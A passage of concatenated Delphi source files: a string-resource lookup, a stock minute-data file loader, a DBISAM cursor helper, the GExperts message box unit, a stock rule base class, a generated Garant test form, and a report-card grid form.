(ID: stscMoneyNoSuchExchange; Str: stscMoneyNoSuchExchangeS),
(ID: stscMoneyMissingIntermediateRate; Str: stscMoneyMissingIntermediateRateS),
(ID: stscMoneyInvalidExchRate; Str: stscMoneyInvalidExchRateS),
(ID: stscMoneyTriExchUsesTriExch; Str: stscMoneyTriExchUsesTriExchS),
(ID: stscDecMathMultOverflow; Str: stscDecMathMultOverflowS),
(ID: stscDecMathDivOverflow; Str: stscDecMathDivOverflowS),
(ID: stscTxtDatNoSuchField; Str: stscTxtDatNoSuchFieldS),
(ID: stscTxtDatUniqueNameRequired; Str: stscTxtDatUniqueNameRequiredS),
(ID: stscTxtDatUnhandledVariant; Str: stscTxtDatUnhandledVariantS),
(ID: stscTxtDatInvalidSchema; Str: stscTxtDatInvalidSchemaS),
(ID: stscTxtDatRecordSetOpen; Str: stscTxtDatRecordSetOpenS)
);
function SysToolsStr(Index : Integer) : string;
implementation
function SysToolsStr(Index : Integer) : string;
var
i : Integer;
begin
for i := Low(SysToolsStrArray) to High(SysToolsStrArray) do
if SysToolsStrArray[i].ID = Index then
Result := SysToolsStrArray[i].Str;
end;
initialization
end.
|
unit StockMinuteData_Load;
interface
uses
BaseApp,
StockMinuteDataAccess;
function LoadStockMinuteData(App: TBaseApp; ADataAccess: TStockMinuteDataAccess): Boolean; overload;
function LoadStockMinuteData(App: TBaseApp; ADataAccess: TStockMinuteDataAccess; AFileUrl: string): Boolean; overload;
implementation
uses
Sysutils,
BaseWinFile,
define_price,
define_datasrc,
define_datetime,
//UtilsLog,
define_stock_quotes,
define_dealstore_header,
define_dealstore_file;
function LoadStockMinuteDataFromBuffer(ADataAccess: TStockMinuteDataAccess; AMemory: pointer): Boolean; forward;
function LoadStockMinuteData(App: TBaseApp; ADataAccess: TStockMinuteDataAccess): Boolean;
var
tmpFileUrl: WideString;
begin
Result := false;
if nil = ADataAccess then
exit;
if nil = ADataAccess.StockItem then
exit;
tmpFileUrl := App.Path.GetFileUrl(ADataAccess.DBType, ADataAccess.DataType, GetDealDataSourceCode(ADataAccess.DataSource), ADataAccess.Minute, ADataAccess.StockItem);
if not FileExists(tmpFileUrl) then
tmpFileUrl := '';
if '' <> tmpFileUrl then
begin
Result := LoadStockMinuteData(App, ADataAccess, tmpFileUrl);
end;
end;
function LoadStockMinuteData(App: TBaseApp; ADataAccess: TStockMinuteDataAccess; AFileUrl: string): Boolean;
var
tmpWinFile: TWinFile;
tmpFileMapView: Pointer;
begin
//Log('LoadStockDayData', 'FileUrl:' + tmpFileUrl);
Result := false;
if App.Path.IsFileExists(AFileUrl) then
begin
//Log('LoadStockDayData', 'FileUrl exist');
tmpWinFile := TWinFile.Create;
try
if tmpWinFile.OpenFile(AFileUrl, false) then
begin
tmpFileMapView := tmpWinFile.OpenFileMap;
if nil <> tmpFileMapView then
begin
Result := LoadStockMinuteDataFromBuffer(ADataAccess, tmpFileMapView);
end else
begin
//Log('LoadStockDayData', 'FileUrl map fail');
end;
end else
begin
//Log('LoadStockDayData', 'FileUrl open fail');
end;
finally
tmpWinFile.Free;
end;
end;
end;
function ReadStockMinuteDataHeader(ADataAccess: TStockMinuteDataAccess; AMemory: pointer): PStore_Quote_M1_Minute_Header_V1Rec;
var
tmpHead: PStore_Quote_M1_Minute_Header_V1Rec;
begin
Result := nil;
tmpHead := AMemory;
if tmpHead.Header.BaseHeader.CommonHeader.HeadSize = SizeOf(TStore_Quote_M1_Minute_Header_V1Rec) then
begin
if (tmpHead.Header.BaseHeader.CommonHeader.DataType = DataType_Stock) then
begin
if (tmpHead.Header.BaseHeader.CommonHeader.DataMode = DataMode_MinuteData) then
begin
if src_unknown = ADataAccess.DataSource then
ADataAccess.DataSource := GetDealDataSource(tmpHead.Header.BaseHeader.CommonHeader.DataSourceId);
if ADataAccess.DataSource = GetDealDataSource(tmpHead.Header.BaseHeader.CommonHeader.DataSourceId) then
begin
Result := tmpHead;
ADataAccess.StockCode := tmpHead.Header.BaseHeader.Code;
ADataAccess.Minute := tmpHead.Header.Minute;
end;
end;
end;
end;
end;
function LoadStockMinuteDataFromBuffer(ADataAccess: TStockMinuteDataAccess; AMemory: pointer): Boolean;
var
tmpHead: PStore_Quote_M1_Minute_Header_V1Rec;
tmpQuoteData: PStore64;
tmpStoreMinuteData: PStore_Quote32_Minute;
tmpRTMinuteData: PRT_Quote_Minute;
tmpRecordCount: integer;
i: integer;
tmpDateTime: double;
begin
Result := false;
//Log('LoadStockDayData', 'LoadStockDayDataFromBuffer');
tmpHead := ReadStockMinuteDataHeader(ADataAccess, AMemory);
if nil <> tmpHead then
begin
tmpRecordCount := tmpHead.Header.BaseHeader.CommonHeader.RecordCount;
//Log('LoadStockDayData', 'LoadStockDayDataFromBuffer record count:' + IntToStr(tmpRecordCount));
Inc(tmpHead);
tmpQuoteData := PStore64(tmpHead);
for i := 0 to tmpRecordCount - 1 do
begin
Result := true;
tmpStoreMinuteData := PStore_Quote32_Minute(tmpQuoteData);
tmpRTMinuteData := ADataAccess.CheckOutRecord(tmpStoreMinuteData.StockDateTime);
if nil <> tmpRTMinuteData then
begin
StorePriceRange2RTPricePackRange(@tmpRTMinuteData.PriceRange, @tmpStoreMinuteData.PriceRange);
tmpRTMinuteData.DealVolume := tmpStoreMinuteData.DealVolume; // 8 - 24 成交量
tmpRTMinuteData.DealAmount := tmpStoreMinuteData.DealAmount; // 8 - 32 成交金额
tmpRTMinuteData.DealDateTime := tmpStoreMinuteData.StockDateTime;
//tmpRTMinuteData.Weight.Value := tmpStoreMinuteData.Weight.Value; // 4 - 40 复权权重 * 100
//tmpRTMinuteData.TotalValue := tmpStoreMinuteData.TotalValue; // 8 - 48 总市值
//tmpRTMinuteData.DealValue := tmpStoreMinuteData.DealValue; // 8 - 56 流通市值
end;
Inc(tmpQuoteData);
end;
ADataAccess.Sort;
end;
end;
end.
|
{
The theory here is that you can save a position in a DBISAM table, move
around, do some work, and then go back to the same record later. This is not
perfect, in that the database will change in a way that does not allow you to
go back to that record. Its still useful though.
}
unit DBISAMCursor;
interface
uses dbisamtb, classes, db;
type
TDBISAMCursor = class(TComponent)
private
FTable : TDBISAMTable;
FIndexName : string;
FRecNo : integer;
FFilter : string;
FFiltered : boolean;
FilterOptions : TFilterOptions;
public
procedure Save;
procedure Restore;
published
property Table : TDBISAMTable read FTable write FTable;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('FFS Common', [TDBISAMCursor]);
end;
{ TDBISAMCursor }
procedure TDBISAMCursor.Restore;
begin
if assigned(FTable) then begin
FTable.Filter := FFilter;
FTable.FilterOptions := FilterOptions;
FTable.Filtered := FFiltered;
FTable.IndexName := FIndexName;
FTable.RecNo := FRecNo;
end;
end;
procedure TDBISAMCursor.Save;
begin
if assigned(FTable) then begin
FFilter := FTable.Filter;
FilterOptions := FTable.FilterOptions;
FFiltered := FTable.Filtered;
FIndexName := FTable.IndexName;
FRecNo := FTable.RecNo;
end;
end;
end.
|
unit GX_MessageBox;
{$I GX_CondDefine.inc}
interface
uses
Classes, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, GX_BaseForm;
type
TGxMsgBoxAdaptor = class(TObject)
protected
// General optional data passed into ShowGxMessageBox that can be
// used to customize the error message, etc.
FData: string;
// Returns the message text shown in the message text
function GetMessage: string; virtual; abstract;
// Returns caption of the message box
function GetCaption: string; virtual;
// Returns the set of buttons that the message box
// should feature.
function GetButtons: TMsgDlgButtons; virtual;
// Button to be used as the default
function GetDefaultButton: TMsgDlgBtn; virtual;
// Return a unique identifier for this dialog; this
// is used for storage in the registry.
// By default, this is the content of Self.ClassName
function GetUniqueIdentifier: string;
// Mark this message box as suppressed; by default,
// state is stored in the registry.
procedure DoPermanentlySuppress;
// Returns whether this message box is permanently
// suppressed.
function IsPermanentlySuppressed: Boolean;
// Returns whether the message box should be shown.
function ShouldShow: Boolean; virtual;
function AllowSuppress: Boolean; virtual;
public
class function ConfigurationKey: string;
end;
TGxQuestionBoxAdaptor = class(TGxMsgBoxAdaptor)
protected
function GetButtons: TMsgDlgButtons; override;
function GetDefaultButton: TMsgDlgBtn; override;
end;
TfmGxMessageBox = class(TfmBaseForm)
chkNeverShowAgain: TCheckBox;
bvlFrame: TBevel;
mmoMessage: TMemo;
end;
TGxMsgBoxAdaptorClass = class of TGxMsgBoxAdaptor;
function ShowGxMessageBox(AdaptorClass: TGxMsgBoxAdaptorClass; const Data: string = ''): TModalResult;
implementation
{$R *.dfm}
uses
{$IFOPT D+} GX_DbugIntf, {$ENDIF}
SysUtils, Consts,
GX_ConfigurationInfo, GX_GenericUtils, GX_GxUtils;
const
MsgDlgResults: array[TMsgDlgBtn] of Integer = (
mrYes, mrNo, mrOk, mrCancel, mrAbort, mrRetry, mrIgnore, mrAll, mrNoToAll,
mrYesToAll, 0 {$IFDEF GX_VER200_up}, mrClose{$ENDIF});
MsgDlgButtonCaptions: array[TMsgDlgBtn] of string = (
SMsgDlgYes, SNoButton, SMsgDlgOK, SMsgDlgCancel, SMsgDlgAbort, SMsgDlgRetry,
SMsgDlgIgnore, SMsgDlgAll, SMsgDlgNoToAll, SMsgDlgYesToAll, SMsgDlgHelp {$IFDEF GX_VER200_up}, SMsgDlgClose{$ENDIF});
function ShowGxMessageBox(AdaptorClass: TGxMsgBoxAdaptorClass; const Data: string): TModalResult;
var
Adaptor: TGxMsgBoxAdaptor;
Dlg: TfmGxMessageBox;
procedure CreateButtons;
const
SingleButtonWidth = 75;
SingleButtonHeight = 25;
ButtonHorizSpacing = 8;
ButtonYPos = 208;
var
BtnType, DefaultBtn, CancelBtn: TMsgDlgBtn;
DialogButtons: TMsgDlgButtons;
ButtonRowWidth, NextButonXPos: Integer;
CurrentButton: TButton;
begin
// Calculate the width of all buttons together
ButtonRowWidth := 0;
DialogButtons := Adaptor.GetButtons;
for BtnType := Low(TMsgDlgBtn) to High(TMsgDlgBtn) do
if BtnType in DialogButtons then
Inc(ButtonRowWidth, SingleButtonWidth + ButtonHorizSpacing);
Dec(ButtonRowWidth, ButtonHorizSpacing);
if ButtonRowWidth > Dlg.ClientWidth then
Dlg.ClientWidth := ButtonRowWidth;
DefaultBtn := Adaptor.GetDefaultButton;
if mbCancel in DialogButtons then
CancelBtn := mbCancel
else if mbNo in DialogButtons then
CancelBtn := mbNo
else
CancelBtn := mbOK;
NextButonXPos := (Dlg.ClientWidth - ButtonRowWidth) div 2;
for BtnType := Low(TMsgDlgBtn) to High(TMsgDlgBtn) do
begin
if BtnType in DialogButtons then
begin
CurrentButton := TButton.Create(Dlg);
with CurrentButton do
begin
Caption := MsgDlgButtonCaptions[BtnType];
ModalResult := MsgDlgResults[BtnType];
Parent := Dlg;
TabOrder := 999;
SetBounds(NextButonXPos, ButtonYPos, SingleButtonWidth, SingleButtonHeight);
if BtnType = DefaultBtn then
begin
Default := True;
Dlg.ActiveControl := CurrentButton;
end;
if BtnType = CancelBtn then
Cancel := True;
end;
Inc(NextButonXPos, SingleButtonWidth + ButtonHorizSpacing);
end;
end;
end;
begin
Adaptor := AdaptorClass.Create;
Adaptor.FData := Data;
try
Result := MsgDlgResults[Adaptor.GetDefaultButton];
if Adaptor.IsPermanentlySuppressed then
Exit;
if Adaptor.ShouldShow then
begin
Dlg := TfmGxMessageBox.Create(nil);
try
Dlg.Caption := Adaptor.GetCaption;
Dlg.chkNeverShowAgain.Enabled := Adaptor.AllowSuppress;
Dlg.mmoMessage.Lines.Text := Adaptor.GetMessage;
CreateButtons;
Result := Dlg.ShowModal;
if Adaptor.AllowSuppress and Dlg.chkNeverShowAgain.Checked then
Adaptor.DoPermanentlySuppress;
finally
FreeAndNil(Dlg);
end;
end;
finally
FreeAndNil(Adaptor);
end;
end;
{ TGxMsgBoxAdaptor }
function TGxMsgBoxAdaptor.GetCaption: string;
begin
Result := 'GExperts Message';
end;
function TGxMsgBoxAdaptor.GetUniqueIdentifier: string;
begin
Result := Self.ClassName;
end;
procedure TGxMsgBoxAdaptor.DoPermanentlySuppress;
begin
if not AllowSuppress then
Exit;
with TGExpertsSettings.Create do
try
WriteBool(ConfigurationKey, Self.ClassName, True); // Do not localize
finally
Free;
end;
end;
function TGxMsgBoxAdaptor.IsPermanentlySuppressed: Boolean;
begin
with TGExpertsSettings.Create do
try
Result := ReadBool(ConfigurationKey, Self.ClassName, False); // Do not localize
finally
Free;
end;
end;
function TGxMsgBoxAdaptor.ShouldShow: Boolean;
begin
Result := True;
end;
function TGxMsgBoxAdaptor.GetButtons: TMsgDlgButtons;
begin
Result := [mbOK];
end;
function TGxMsgBoxAdaptor.GetDefaultButton: TMsgDlgBtn;
const
DefaultButton = mbOK;
begin
Result := DefaultButton;
{$IFOPT D+}
if not (DefaultButton in GetButtons) then
SendDebugError('Message box "' + Self.ClassName + '" has a default button that is not available');
{$ENDIF D+}
end;
function TGxMsgBoxAdaptor.AllowSuppress: Boolean;
begin
Result := True;
end;
class function TGxMsgBoxAdaptor.ConfigurationKey: string;
begin
Result := 'Misc' + PathDelim + 'SuppressedMessages';
end;
{ TGxQuestionBoxAdaptor }
function TGxQuestionBoxAdaptor.GetButtons: TMsgDlgButtons;
begin
Result := [mbYes, mbNo];
end;
function TGxQuestionBoxAdaptor.GetDefaultButton: TMsgDlgBtn;
begin
Result := mbYes;
end;
end.
|
unit BaseRule;
interface
type
TRuleDataType = (
dtNone,
dtInt64,
dtDouble);
TOnGetDataLength = function: integer of object;
TOnGetDataI = function (AIndex: integer): int64 of object;
TOnGetDataF = function (AIndex: integer): double of object;
TBaseRuleData = record
OnGetDataLength: TOnGetDataLength;
OnGetDataI: TOnGetDataI;
OnGetDataF: TOnGetDataF;
DataType: TRuleDataType;
DataLength: integer;
MaxI: int64;
MinI: int64;
MaxF: double;
MinF: double;
end;
TBaseRule = class
protected
fBaseRuleData: TBaseRuleData;
function GetMaxI: int64; virtual;
function GetMinI: int64; virtual;
function GetMaxF: double; virtual;
function GetMinF: double; virtual;
public
constructor Create(ADataType: TRuleDataType = dtNone); virtual;
destructor Destroy; override;
procedure Execute; virtual;
procedure Clear; virtual;
property OnGetDataLength: TOnGetDataLength
read fBaseRuleData.OnGetDataLength write fBaseRuleData.OnGetDataLength;
property OnGetDataI: TOnGetDataI
read fBaseRuleData.OnGetDataI write fBaseRuleData.OnGetDataI;
property OnGetDataF: TOnGetDataF
read fBaseRuleData.OnGetDataF write fBaseRuleData.OnGetDataF;
property DataType: TRuleDataType
read fBaseRuleData.DataType write fBaseRuleData.DataType;
property DataLength: integer read fBaseRuleData.DataLength;
property MaxI: int64 read GetMaxI;
property MinI: int64 read GetMinI;
property MaxF: double read GetMaxF;
property MinF: double read GetMinF;
end;
TBaseRuleTest = class
protected
fRule: TBaseRule;
public
property Rule: TBaseRule read fRule write fRule;
end;
TBaseStockRule = class(TBaseRule)
protected
// 开盘价
fOnGetPriceOpen: TOnGetDataF;
// 收盘价
fOnGetPriceClose: TOnGetDataF;
// 最高价
fOnGetPriceHigh: TOnGetDataF;
// 最低价
fOnGetPriceLow: TOnGetDataF;
// 交易日期
fOnGetDealDay: TOnGetDataI;
// 交易金额
fOnGetDealAmount: TOnGetDataI;
// 流通股本
fOnGetDealVolume: TOnGetDataI;
// 总股本
fOnGetTotalVolume: TOnGetDataI;
// 流通市值
fOnGetDealValue: TOnGetDataI;
// 总市值
fOnGetTotalValue: TOnGetDataI;
public
property OnGetPriceOpen: TOnGetDataF read fOnGetPriceOpen write fOnGetPriceOpen;
property OnGetPriceClose: TOnGetDataF read fOnGetPriceClose write fOnGetPriceClose;
property OnGetPriceHigh: TOnGetDataF read fOnGetPriceHigh write fOnGetPriceHigh;
property OnGetPriceLow: TOnGetDataF read fOnGetPriceLow write fOnGetPriceLow;
property OnGetDealDay: TOnGetDataI read fOnGetDealDay write fOnGetDealDay;
property OnGetDealAmount: TOnGetDataI read fOnGetDealAmount write fOnGetDealAmount;
property OnGetDealVolume: TOnGetDataI read fOnGetDealVolume write fOnGetDealVolume;
property OnGetTotalVolume: TOnGetDataI read fOnGetTotalVolume write fOnGetTotalVolume;
property OnGetDealValue: TOnGetDataI read fOnGetDealValue write fOnGetDealValue;
property OnGetTotalValue: TOnGetDataI read fOnGetTotalValue write fOnGetTotalValue;
end;
implementation
{ TBaseRule }
constructor TBaseRule.Create(ADataType: TRuleDataType = dtNone);
begin
FillChar(fBaseRuleData, SizeOf(fBaseRuleData), 0);
fBaseRuleData.DataType := ADataType;
end;
destructor TBaseRule.Destroy;
begin
inherited;
end;
procedure TBaseRule.Execute;
begin
end;
procedure TBaseRule.Clear;
begin
end;
function TBaseRule.GetMaxI: int64;
begin
Result := fBaseRuleData.MaxI;
end;
function TBaseRule.GetMinI: int64;
begin
Result := fBaseRuleData.MinI;
end;
function TBaseRule.GetMaxF: double;
begin
Result := fBaseRuleData.MaxF;
end;
function TBaseRule.GetMinF: double;
begin
Result := fBaseRuleData.MinF;
end;
end.
|
unit PrimTextLoad_Form;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// Библиотека "Forms"
// Автор: Люлин А.В.
// Модуль: "w:/common/components/gui/Garant/Daily/Forms/PrimTextLoad_Form.pas"
// Начат: 23.09.2010 13:40
// Родные Delphi интерфейсы (.pas)
// Generated from UML model, root element: <<VCMForm::Class>> Shared Delphi Operations For Tests::TestForms::Forms::Everest::PrimTextLoad
//
//
// Все права принадлежат ООО НПП "Гарант-Сервис".
//
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ! Полностью генерируется с модели. Править руками - нельзя. !
interface
{$If defined(nsTest) AND not defined(NoVCM)}
uses
evCustomEditor,
evCustomTextSource,
vcmEntityForm,
evLoadDocumentManager
{$If not defined(NoScripts)}
,
tfwControlString
{$IfEnd} //not NoScripts
,
vcmExternalInterfaces {a},
vcmInterfaces {a}
;
{$IfEnd} //nsTest AND not NoVCM
{$If defined(nsTest) AND not defined(NoVCM)}
type
TPrimTextLoadForm = {form} class(TvcmEntityForm)
private
// private fields
f_LoadManager : TevLoadDocumentManager;
{* Поле для свойства LoadManager}
protected
procedure MakeControls; override;
protected
// property methods
function pm_GetTextSource: TevCustomTextSource; virtual; abstract;
function pm_GetText: TevCustomEditor; virtual; abstract;
protected
// overridden protected methods
procedure InitControls; override;
{* Процедура инициализации контролов. Для перекрытия в потомках }
public
// public methods
procedure AfterLoad; virtual;
public
// public properties
property LoadManager: TevLoadDocumentManager
read f_LoadManager;
property TextSource: TevCustomTextSource
read pm_GetTextSource;
property Text: TevCustomEditor
read pm_GetText;
end;//TPrimTextLoadForm
TvcmEntityFormRef = TPrimTextLoadForm;
{$IfEnd} //nsTest AND not NoVCM
implementation
{$If defined(nsTest) AND not defined(NoVCM)}
uses
Forms,
Controls,
StdRes {a}
;
{$IfEnd} //nsTest AND not NoVCM
{$If defined(nsTest) AND not defined(NoVCM)}
type
Tkw_PrimTextLoad_Component_LoadManager = class(TtfwControlString)
{* Слово словаря для идентификатора компонента LoadManager
----
*Пример использования*:
[code]
компонент::LoadManager TryFocus ASSERT
[code] }
protected
// overridden protected methods
{$If not defined(NoScripts)}
function GetString: AnsiString; override;
{$IfEnd} //not NoScripts
end;//Tkw_PrimTextLoad_Component_LoadManager
// start class Tkw_PrimTextLoad_Component_LoadManager
{$If not defined(NoScripts)}
function Tkw_PrimTextLoad_Component_LoadManager.GetString: AnsiString;
{-}
begin
Result := 'LoadManager';
end;//Tkw_PrimTextLoad_Component_LoadManager.GetString
{$IfEnd} //not NoScripts
procedure TPrimTextLoadForm.AfterLoad;
//#UC START# *4F15435202B5_4C9B20790302_var*
//#UC END# *4F15435202B5_4C9B20790302_var*
begin
//#UC START# *4F15435202B5_4C9B20790302_impl*
//#UC END# *4F15435202B5_4C9B20790302_impl*
end;//TPrimTextLoadForm.AfterLoad
procedure TPrimTextLoadForm.InitControls;
//#UC START# *4A8E8F2E0195_4C9B20790302_var*
//#UC END# *4A8E8F2E0195_4C9B20790302_var*
begin
//#UC START# *4A8E8F2E0195_4C9B20790302_impl*
inherited;
WindowState := wsMaximized;
Text.Align := alClient;
Text.WebStyle := true;
Text.TextSource := Self.TextSource;
//#UC END# *4A8E8F2E0195_4C9B20790302_impl*
end;//TPrimTextLoadForm.InitControls
procedure TPrimTextLoadForm.MakeControls;
begin
inherited;
f_LoadManager := TevLoadDocumentManager.Create(Self);
f_LoadManager.Name := 'LoadManager';
end;
{$IfEnd} //nsTest AND not NoVCM
initialization
{$If defined(nsTest) AND not defined(NoVCM)}
// Регистрация Tkw_PrimTextLoad_Component_LoadManager
Tkw_PrimTextLoad_Component_LoadManager.Register('компонент::LoadManager', TevLoadDocumentManager);
{$IfEnd} //nsTest AND not NoVCM
end. |
unit fmGrid;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, Grids, uEventAgg, uEvents;
type
TfrmGrid = class(TForm)
pnlFooter: TPanel;
btnClose: TButton;
StringGrid1: TStringGrid;
procedure FormResize(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btnCloseClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure StringGrid1Enter(Sender: TObject);
procedure StringGrid1SetEditText(Sender: TObject; ACol, ARow: Integer; const Value: string);
procedure StringGrid1Exit(Sender: TObject);
procedure StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean);
procedure StringGrid1DblClick(Sender: TObject);
private
FOldRow: Integer;
FEditingCol: Integer;
FEditingRow: Integer;
FSelectedRow: Integer;
procedure InitialiseGrid;
procedure UpdateRow(const aPublisher: TObject; const anEvent: TEventClass);
procedure UpdateCursor(const aPublisher: TObject; const anEvent: TEventClass);
procedure UpdateModel(const aCol, aRow: Integer);
public
end;
var
frmGrid: TfrmGrid;
implementation
uses dmController, uModel;
{$R *.dfm}
procedure TfrmGrid.btnCloseClick(Sender: TObject);
begin
Close;
end;
procedure TfrmGrid.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caFree;
end;
procedure TfrmGrid.FormCreate(Sender: TObject);
begin
InitialiseGrid;
EA.Subscribe(UpdateRow, TReportCardChange);
EA.Subscribe(UpdateCursor, TReportCardNav);
end;
procedure TfrmGrid.FormDestroy(Sender: TObject);
begin
EA.Unsubscribe(UpdateRow);
EA.UnSubscribe(UpdateCursor);
end;
procedure TfrmGrid.FormResize(Sender: TObject);
begin
StringGrid1.DefaultColWidth := StringGrid1.ClientWidth div 5;
end;
procedure TfrmGrid.InitialiseGrid;
var
I: Integer;
begin
FOldRow := 0;
StringGrid1.Rows[0].CommaText := ' ,Name,A,B,C';
StringGrid1.RowCount := dtmController.ReportCards.Count + 1;
for I := 0 to dtmController.ReportCards.Count - 1 do
begin
StringGrid1.Objects[0, I + 1] := dtmController.ReportCards.Items[I];
UpdateCursor(dtmController.ReportCards.Items[I], nil);
UpdateRow(dtmController.ReportCards.Items[I], nil);
end;
end;
procedure TfrmGrid.StringGrid1DblClick(Sender: TObject);
begin
dtmController.ItemIndex := FSelectedRow;
end;
procedure TfrmGrid.StringGrid1Enter(Sender: TObject);
begin
FEditingCol := -1;
FEditingRow := -1;
end;
procedure TfrmGrid.StringGrid1Exit(Sender: TObject);
begin
if (FEditingCol <> -1) and (FEditingRow <> -1) then
begin
UpdateModel(FEditingCol, FEditingRow);
end;
end;
procedure TfrmGrid.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean);
begin
FSelectedRow := ARow - 1;
if (ACol <> FEditingCol) or (ARow <> FEditingRow) then
UpdateModel(FEditingCol, FEditingRow);
end;
procedure TfrmGrid.StringGrid1SetEditText(Sender: TObject; ACol, ARow: Integer; const Value: string);
begin
if not StringGrid1.EditorMode then
UpdateModel(ACol, ARow)
else
begin
FEditingCol := ACol;
FEditingRow := ARow;
end;
end;
procedure TfrmGrid.UpdateCursor(const aPublisher: TObject; const anEvent: TEventClass);
var
RowNo: Integer;
begin
RowNo := StringGrid1.Cols[0].IndexOfObject(aPublisher);
if RowNo > 0 then
begin
if aPublisher = dtmController.Current then
begin
StringGrid1.Cells[0, FOldRow] := '';
StringGrid1.Cells[0, RowNo] := ' >>>>>';
FOldRow := RowNo;
end
else
StringGrid1.Cells[0, RowNo] := '';
end;
end;
procedure TfrmGrid.UpdateRow(const aPublisher: TObject; const anEvent: TEventClass);
var
RowNo: Integer;
begin
RowNo := StringGrid1.Cols[0].IndexOfObject(aPublisher);
if RowNo > 0 then
begin
StringGrid1.Cells[1, RowNo] := TReportCard(aPublisher).Name;
StringGrid1.Cells[2, RowNo] := IntToStr(TReportCard(aPublisher).ScoreA);
StringGrid1.Cells[3, RowNo] := IntToStr(TReportCard(aPublisher).ScoreB);
StringGrid1.Cells[4, RowNo] := IntToStr(TReportCard(aPublisher).ScoreC);
end;
end;
procedure TfrmGrid.UpdateModel(const aCol, aRow: Integer);
var
Grade: TReportCard;
begin
if (aCol < 0) or (aRow < 0) then
Exit;
Grade := TReportCard(StringGrid1.Objects[0, aRow]);
case aCol of
1: Grade.Name := StringGrid1.Cells[aCol, aRow];
2: Grade.ScoreA := StrToInt(StringGrid1.Cells[aCol, aRow]);
3: Grade.ScoreB := StrToInt(StringGrid1.Cells[aCol, aRow]);
4: Grade.ScoreC := StrToInt(StringGrid1.Cells[aCol, aRow]);
end;
end;
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.